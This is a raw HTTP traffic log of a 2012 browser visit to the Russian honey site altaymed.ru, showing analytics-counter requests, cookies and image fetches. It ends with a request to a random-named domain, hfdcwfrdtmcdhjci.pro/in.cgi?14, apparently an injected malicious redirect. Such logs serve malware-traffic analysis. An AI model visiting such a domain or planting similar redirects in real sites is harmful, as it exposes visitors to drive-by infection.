Location: http://counter.yadro.ru/hit?q;t26.6;r;s1176*885*24;uhttp%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq;i%u0416%u0436%u0410%u043B%u0442%u0430%u0439%u043F%u0447%u0435%u043B%u043E%u043F%u0440%u043E%u0434%u0443%u043A%u0442-%u041E%20%u043A%u043E%u043C%u043F%u0430%u043D%u0438%u0438-%u041A%u0443%u043F%u0438%u0442%u044C%20%u043C%u0435%u0434%2C%20%u0444%u0430%u0441%u043E%u0432%u0430%u043D%u043D%u044B%u0439%20%u043C%u0435%u0434;0.8177569268164436
Content-Length: 32
Expires: Wed, 09 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: FTID=1GdFe00MD8n2; path=/; expires=Fri, 08 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /top100.scn?2338865&rn=149589257&v=0.3i&bs=1159x778&ce=1&rf&en=windows-1251&pt=%D0%90%D0%BB%D1%82%D0%B0%D0%B9%D0%BF%D1%87%D0%B5%D0%BB%D0%BE%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82-%D0%9E%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D0%B8-%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C%20%D0%BC%D0%B5%D0%B4%2C%20%D1%84%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%BC%D0%B5%D0%B4&cd=24-bit&sr=1176x885&la=en-US&ja=1&acn=Mozilla&an=Netscape&pl=Win32&tz=-60&fv=10.0%20r45&sv&le=0 HTTP/1.1

Host: counter.rambler.ru
GET /top100.scn?2338865&amp;rn=149589257&amp;v=0.3i&amp;bs=1159x778&amp;ce=1&amp;rf&amp;en=windows-1251&amp;pt=%D0%90%D0%BB%D1%82%D0%B0%D0%B9%D0%BF%D1%87%D0%B5%D0%BB%D0%BE%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82-%D0%9E%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D0%B8-%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C%20%D0%BC%D0%B5%D0%B4%2C%20%D1%84%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%BC%D0%B5%D0%B4&amp;cd=24-bit&amp;sr=1176x885&amp;la=en-US&amp;ja=1&amp;acn=Mozilla&amp;an=Netscape&amp;pl=Win32&amp;tz=-60&amp;fv=10.0%20r45&amp;sv&amp;le=0 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
Cookie: ruid=MZEZBvz5nFCR5wAAAcm26w==; top100rb=NjczKzY4OA==
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.2.3
Date: Fri, 09 Nov 2012 12:41:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NON ADM DEV TAI PSA PSD IVA OUR IND UNI COM NAV INT&quot;
Set-Cookie: top100rb=NjczKzY4OA==; path=/; domain=.rambler.ru; expires=Fri, 16 Nov 2012 12:41:36 GMT
GET /hit?q;t26.6;r;s1176*885*24;uhttp%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq;i%u0416%u0436%u0410%u043B%u0442%u0430%u0439%u043F%u0447%u0435%u043B%u043E%u043F%u0440%u043E%u0434%u0443%u043A%u0442-%u041E%20%u043A%u043E%u043C%u043F%u0430%u043D%u0438%u0438-%u041A%u0443%u043F%u0438%u0442%u044C%20%u043C%u0435%u0434%2C%20%u0444%u0430%u0441%u043E%u0432%u0430%u043D%u043D%u044B%u0439%20%u043C%u0435%u0434;0.8177569268164436 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
Cookie: FTID=1GdFe00MD8n2
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Fri, 09 Nov 2012 12:41:36 GMT
Server: 0W/0.8c
Connection: Close
Content-Length: 123
Expires: Wed, 09 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: VID=3QsGwJ0-TKn2; path=/; expires=Fri, 08 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /digits?cid=2121115&ls=0&ln=5048 HTTP/1.1

Host: openstat.net
GET /digits?cid=2121115&amp;ls=0&amp;ln=5048 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
Cookie: VISID=JCFMPACLTUGPKCLLCO
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.2.4
Date: Fri, 09 Nov 2012 12:41:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Fri, 09 Nov 2012 12:51:36 GMT
Cache-Control: max-age=600
GET /cgi-bin/hotlog/count?0.8715078016016059&s=2096133&im=116&r=&pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&c=Y&j=Y&wh=1176x885&px=24&js=1.3&hl_ignore=Y HTTP/1.1

Host: hit10.hotlog.ru
GET /cgi-bin/hotlog/count?0.8715078016016059&amp;s=2096133&amp;im=116&amp;r=&amp;pg=http%3A//www.altaymed.ru/%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3&amp;hl_ignore=Y HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
Cookie: hotcli=a1febebf13ff8de54faebd8a874da292
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: HotLog/1.2
Date: Fri, 09 Nov 2012 12:41:36 GMT
Content-Length: 912
GET /cnt?cid=2121115&c=1&fr=1&fl=10.0&px=24&wh=1176x885&j=Y&t=-60&h5=111110&pg=http%3A%2F%2Fwww.altaymed.ru%2F%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&r=&title=%D0%90%D0%BB%D1%82%D0%B0%D0%B9%D0%BF%D1%87%D0%B5%D0%BB%D0%BE%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82-%D0%9E%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D0%B8-%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C%20%D0%BC%D0%B5%D0%B4%2C%20%D1%84%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%BC%D0%B5%D0%B4&rn=0.39457663951493405 HTTP/1.1

Host: openstat.net
GET /cnt?cid=2121115&amp;c=1&amp;fr=1&amp;fl=10.0&amp;px=24&amp;wh=1176x885&amp;j=Y&amp;t=-60&amp;h5=111110&amp;pg=http%3A%2F%2Fwww.altaymed.ru%2F%3F_openstat%3Dzglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq&amp;r=&amp;title=%D0%90%D0%BB%D1%82%D0%B0%D0%B9%D0%BF%D1%87%D0%B5%D0%BB%D0%BE%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82-%D0%9E%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0%D0%BD%D0%B8%D0%B8-%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C%20%D0%BC%D0%B5%D0%B4%2C%20%D1%84%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%BC%D0%B5%D0%B4&amp;rn=0.39457663951493405 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
Cookie: VISID=JCFMPACLTUGPKCLLCO
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.2.4
Date: Fri, 09 Nov 2012 12:41:36 GMT
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: keep-alive
Set-Cookie: VISID=JCFMPACLTUGPKCLLCO; expires=Sun, 09-Nov-14 12:41:36 GMT; domain=.openstat.net; path=/
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA&quot;
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
GET /favicon.ico HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: hotlog=1
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Date: Fri, 09 Nov 2012 12:41:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 5694
Server: Apache
Last-Modified: Tue, 16 Mar 2010 11:34:01 GMT
Etag: &quot;1bcfd5f-163e-481e95fc5bc40&quot;
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2012 12:41:36 GMT
GET /image/outlines/rounded-white.png HTTP/1.1

Host: paseki.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: nginx/1.0.6
Date: Fri, 09 Nov 2012 12:41:36 GMT
Content-Length: 2050
Last-Modified: Fri, 15 Apr 2011 05:08:06 GMT, : 1352464896
Connection: keep-alive
Expires: Mon, 10 Dec 2012 12:41:36 GMT
Cache-Control: max-age=2678400
Accept-Ranges: bytes
GET /image/zoomout.cur HTTP/1.1

Host: paseki.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq
 
HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Server: nginx/1.0.6
Date: Fri, 09 Nov 2012 12:41:36 GMT
Connection: keep-alive
Last-Modified: Fri, 15 Apr 2011 05:08:06 GMT
Etag: &quot;4631d5-146-4a0ee06f19980&quot;
Accept-Ranges: bytes
Content-Length: 326
GET /favicon.ico HTTP/1.1

Host: www.altaymed.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: hotlog=1
If-Modified-Since: Tue, 16 Mar 2010 11:34:01 GMT
If-None-Match: &quot;1bcfd5f-163e-481e95fc5bc40&quot;
 
HTTP/1.1 304 Not Modified

HTTP/1.1 304 Not Modified

Date: Fri, 09 Nov 2012 12:41:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Server: Apache
Etag: &quot;1bcfd5f-163e-481e95fc5bc40&quot;
Expires: Fri, 09 Nov 2012 12:41:39 GMT
Cache-Control: max-age=0
GET /in.cgi?14 HTTP/1.1

Host: hfdcwfrdtmcdhjci.pro

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.altaymed.ru/?_openstat=zglyzwn0lnlhbmrlec5ydtsxntgyodk3ozk3mtyxntq7d3d3lmf2axrvlnj1omd1yxjhbnrlzq